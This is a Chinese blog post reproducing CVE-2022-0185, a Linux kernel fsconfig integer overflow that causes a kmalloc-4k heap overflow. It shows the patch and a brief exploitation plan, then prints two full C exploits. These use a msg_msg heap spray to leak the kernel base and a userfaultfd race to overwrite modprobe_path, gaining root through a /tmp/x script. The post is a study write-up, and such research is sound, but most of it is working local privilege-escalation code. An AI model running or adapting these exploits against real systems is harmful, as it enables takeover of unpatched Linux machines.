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【CVE 复现】CVE-2022-0185 fsconfig之整数溢出

article 2024/9/22 10:07:24

影响版本：Linux-v5.1~v5.16.2

测试版本：Linux-5.11.22，由于懒得搞环境，所以直接用的 bsauce 大佬提供的 测试环境

看看 patch：


diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625b..24ce12f0db32e5 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
 			      param->key);
 	}
 
-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)
 		return invalf(fc, "VFS: Legacy: Cumulative options too large");
 	if (strchr(param->key, ',') ||
 	    (param->type == fs_value_is_string &&

这里 len/size 都是无符号数，所以当 2+size > PAGE_SIZE 时，则 PAGE_SIZE - 2 - size 是一个很大的数从而绕过检查，这里会导致堆溢出。

溢出 kmem_cache：kmalloc-4k

利用思路：

1）堆喷 msg_msg，触发第一次漏洞溢出修改 m_ts 从而泄漏内核基地址

2）堆喷 msg_msg，触发第二次漏洞溢出配合 userfaultfd修改 m_next 实现任意地址写 modprobe_path

注：bsauce 佬提供的测试环境内核版本为 v5.11.22，普通用户是无法直接使用 userfaultfd 的，我看 bsauce 佬直接写了个 fuse 驱动模块，然后利用的 fuse 去增大竞争窗口。但是这里为了方便，我直接在设置了普通用户可以使用 userfaultfd，这里只是为了简化利用。

echo 1 > /proc/sys/vm/unprivileged_userfaultfd

第一版垃圾 exp 如下：这里调整一下堆喷策略效果应该会好很多

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

#define SPARY_MSG_NUMS 8
int hijack_idx;
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS];

int fsopen(const char* fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
    return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}

int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
    return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}

int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
    return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                size_t buf = modprobe_path - 8;
                char* x = &buf;
                char str[] = "/tmp/x";
                printf("hijack_idx ==> %d\n", hijack_idx);
                fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);
                fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", x, 0);
                memset(copy_src, 0, sizeof(copy_src));
                strncpy(copy_src, str, strlen(str));
                strncpy(copy_src+8, str, strlen(str));

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}


size_t do_leak()
{
        char X_X = 1;
        int fs_fd;
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS];
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;

        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;

if (!X_X) goto X_X_Label;
        for (int i = 0; i < SPARY_MSG_NUMS / 2; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fs_fd = fsopen("ext4", 0);
        if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);

        for (int i = 0; i < 273; i++)
        {
                fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);

        for (int i = SPARY_MSG_NUMS / 2; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);
        goto GO;

X_X_Label:
        fs_fd = fsopen("ext4", 0);
        if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);

        for (int i = 0; i < 273; i++)
        {
                fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);

        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);

GO:
        kernel_offset = -1;
        size_t vim_mtype;
        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                memset(buf, 0, sizeof(buf));
                if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8)
                {
                        for (int k = 0; k < 0x1000 / 8; k++)
                        {
                                size_t addr = *(uint64_t*)(buf+0x1000+k*8);
                                vim_mtype = ((struct msg_buf*)buf)->m_type;
                                if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770)
                                {
                                        hexx("vim_mtype", vim_mtype);
                                        kernel_offset = addr - 0xffffffff81f36770;
                                        hexx("kernel_offset", kernel_offset);
                                        break;
                                }
                        }
                        if (!X_X) msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, vim_mtype, 0);
                        //binary_dump("OOB READ DATA", buf, 0x2000);
                        break;
                }
        }
        return kernel_offset;
}

void hijack_modprobePath()
{
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS*2];
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;



        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;
        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i*2] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i*2+1;
                if (msgsnd(msg_qid[i*2], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

                fs_fds[i] = fsopen("ext4", 0);
                if (fs_fds[i] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
                for (int j = 0; j < 273; j++)
                {
                        fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
                }

                if ((msg_qid[i*2+1] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i*2+1;
                if (msgsnd(msg_qid[i*2+1], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

//              if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
//              *(uint64_t*)(msg_buf->m_text+8) = i;
//              if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
        }

        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0);
        }

        char* uffd_buf;
        pthread_t thr[SPARY_MSG_NUMS];
        for (hijack_idx = 0; hijack_idx < SPARY_MSG_NUMS; hijack_idx++)
        {
                msg_buf = (struct msg_buf*)buf;
                msg_buf->m_type = 1;
                if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

                uffd_buf = NULL;
                uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                if (uffd_buf <= 0) err_exit("FAILED to mmap uffd_buf");
                register_userfaultfd(&thr[hijack_idx], uffd_buf+0x1000, 0x1000, handler);
                msg_buf = (struct msg_buf*)(uffd_buf+0x30);

                if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                msg_buf->m_type = 1;
                if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                munmap(uffd_buf, 0x2000);
        }

}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        pid_t pid;
        int pipe_fd[2];
        pipe(pipe_fd);
        pid = fork();
        if (!pid)
        {
                unshare(CLONE_NEWNS|CLONE_NEWUSER);
                size_t kernel_offset;
                kernel_offset = do_leak();
                if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
                modprobe_path = 0xffffffff8346c160 + kernel_offset;
                hexx("modprobe_path", modprobe_path);
                hijack_modprobePath();
                write(pipe_fd[1], "X", 1);
                exit(0);
        } else if (pid < 0) {

                err_exit("FAILED to fork a new process");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                get_flag();
        }

        return 0;
}

效果如下：这里堆喷策略比较垃圾，成功率极低，后面再改改吧。

=========================================================================

修改了下堆喷策略，成功率提高了不少，虽然还不是很理想，比如受到 userfaultfd，modprobe_path可写的限制。这个好像可以直接套 pipe 构造页级UAF，后面再看看。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

#define SPARY_MSG_NUMS 8
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS*2];

int fsopen(const char* fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
    return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}

int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
    return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}

int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
    return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                size_t buf = modprobe_path - 8;
                char* x = &buf;
                char str[] = "/tmp/x";
                for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
                {
                        fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);
                        fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", x, 0);
                }
                memset(copy_src, 0, sizeof(copy_src));
                strncpy(copy_src, str, strlen(str));
                strncpy(copy_src+8, str, strlen(str));

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}


size_t do_leak()
{
        int fs_fd;
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS*2];
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;

        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;

        for (int i = 0; i < 20; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fs_fd = fsopen("ext4", 0);
        if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);

        for (int i = 0; i < 273; i++)
        {
                fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);

        for (int i = 0; i < 10; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = SPARY_MSG_NUMS; i < SPARY_MSG_NUMS*2; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < 30; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);

        kernel_offset = -1;
        size_t vim_mtype;
        for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
        {
                memset(buf, 0, sizeof(buf));
                if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8)
                {
                        for (int k = 0; k < 0x1000 / 8; k++)
                        {
                                size_t addr = *(uint64_t*)(buf+0x1000+k*8);
                                vim_mtype = ((struct msg_buf*)buf)->m_type;
                                if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770)
                                {
                                        hexx("vim_mtype", vim_mtype);
                                        kernel_offset = addr - 0xffffffff81f36770;
                                        hexx("kernel_offset", kernel_offset);
                                        break;
                                }
                        }
                        //binary_dump("OOB READ DATA", buf, 0x2000);
                        break;
                }
        }
        return kernel_offset;
}

void hijack_modprobePath()
{
        puts("==> hijack modprobe_path <==");
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS];
        int qid;
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;

        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;
        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                fs_fds[i*2] = fsopen("ext4", 0);
                if (fs_fds[i*2] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
                for (int j = 0; j < 273; j++)
                {
                        fsconfig(fs_fds[i*2], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
                }

        //      if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
        //      if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

                if (i == SPARY_MSG_NUMS / 2)
                {
                        if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                        if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                }

                fs_fds[i*2+1] = fsopen("ext4", 0);
                if (fs_fds[i*2+1] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
                for (int j = 0; j < 273; j++)
                {
                        fsconfig(fs_fds[i*2+1], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
                }
        }

//      for (int i = 0; i < SPARY_MSG_NUMS; i++)
//      {
//              if (msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
//                      err_exit("FAILED to msgrcv msg");
//      }

        if (msgrcv(qid, buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
                err_exit("FAILED to msgrcv msg");

        pthread_t thr;
        char* uffd_buf;
        msg_buf = (struct msg_buf*)msg_buffer;
        msg_buf->m_type = 1;
//      for (int i = 0; i < SPARY_MSG_NUMS / 3; i++)
//      {
//              if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
//
//      }
        uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf <= 0) err_exit("FAILED to mmap for uffd_buf");
        register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);
        msg_buf = (struct msg_buf*)(uffd_buf+0x30);
        msg_buf->m_type = 1;
        if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
        if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        pid_t pid;
        int pipe_fd[2];
        pipe(pipe_fd);
        pid = fork();
        if (!pid)
        {
                unshare(CLONE_NEWNS|CLONE_NEWUSER);
                size_t kernel_offset;
                kernel_offset = do_leak();
                if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
                modprobe_path = 0xffffffff8346c160 + kernel_offset;
                hexx("modprobe_path", modprobe_path);
                hijack_modprobePath();
                write(pipe_fd[1], "X", 1);
                puts("[+] CHILED END");
                exit(0);
        } else if (pid < 0) {

                err_exit("FAILED to fork a new process");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                get_flag();
                puts("[+] PARENT NED");
        }
        puts("[+] OVER");
        return 0;
}

总结：

自己的堆喷技巧不行，堆喷的效果非常差，非常不稳定，哎，还是多看看别人的 exp 好好学习吧


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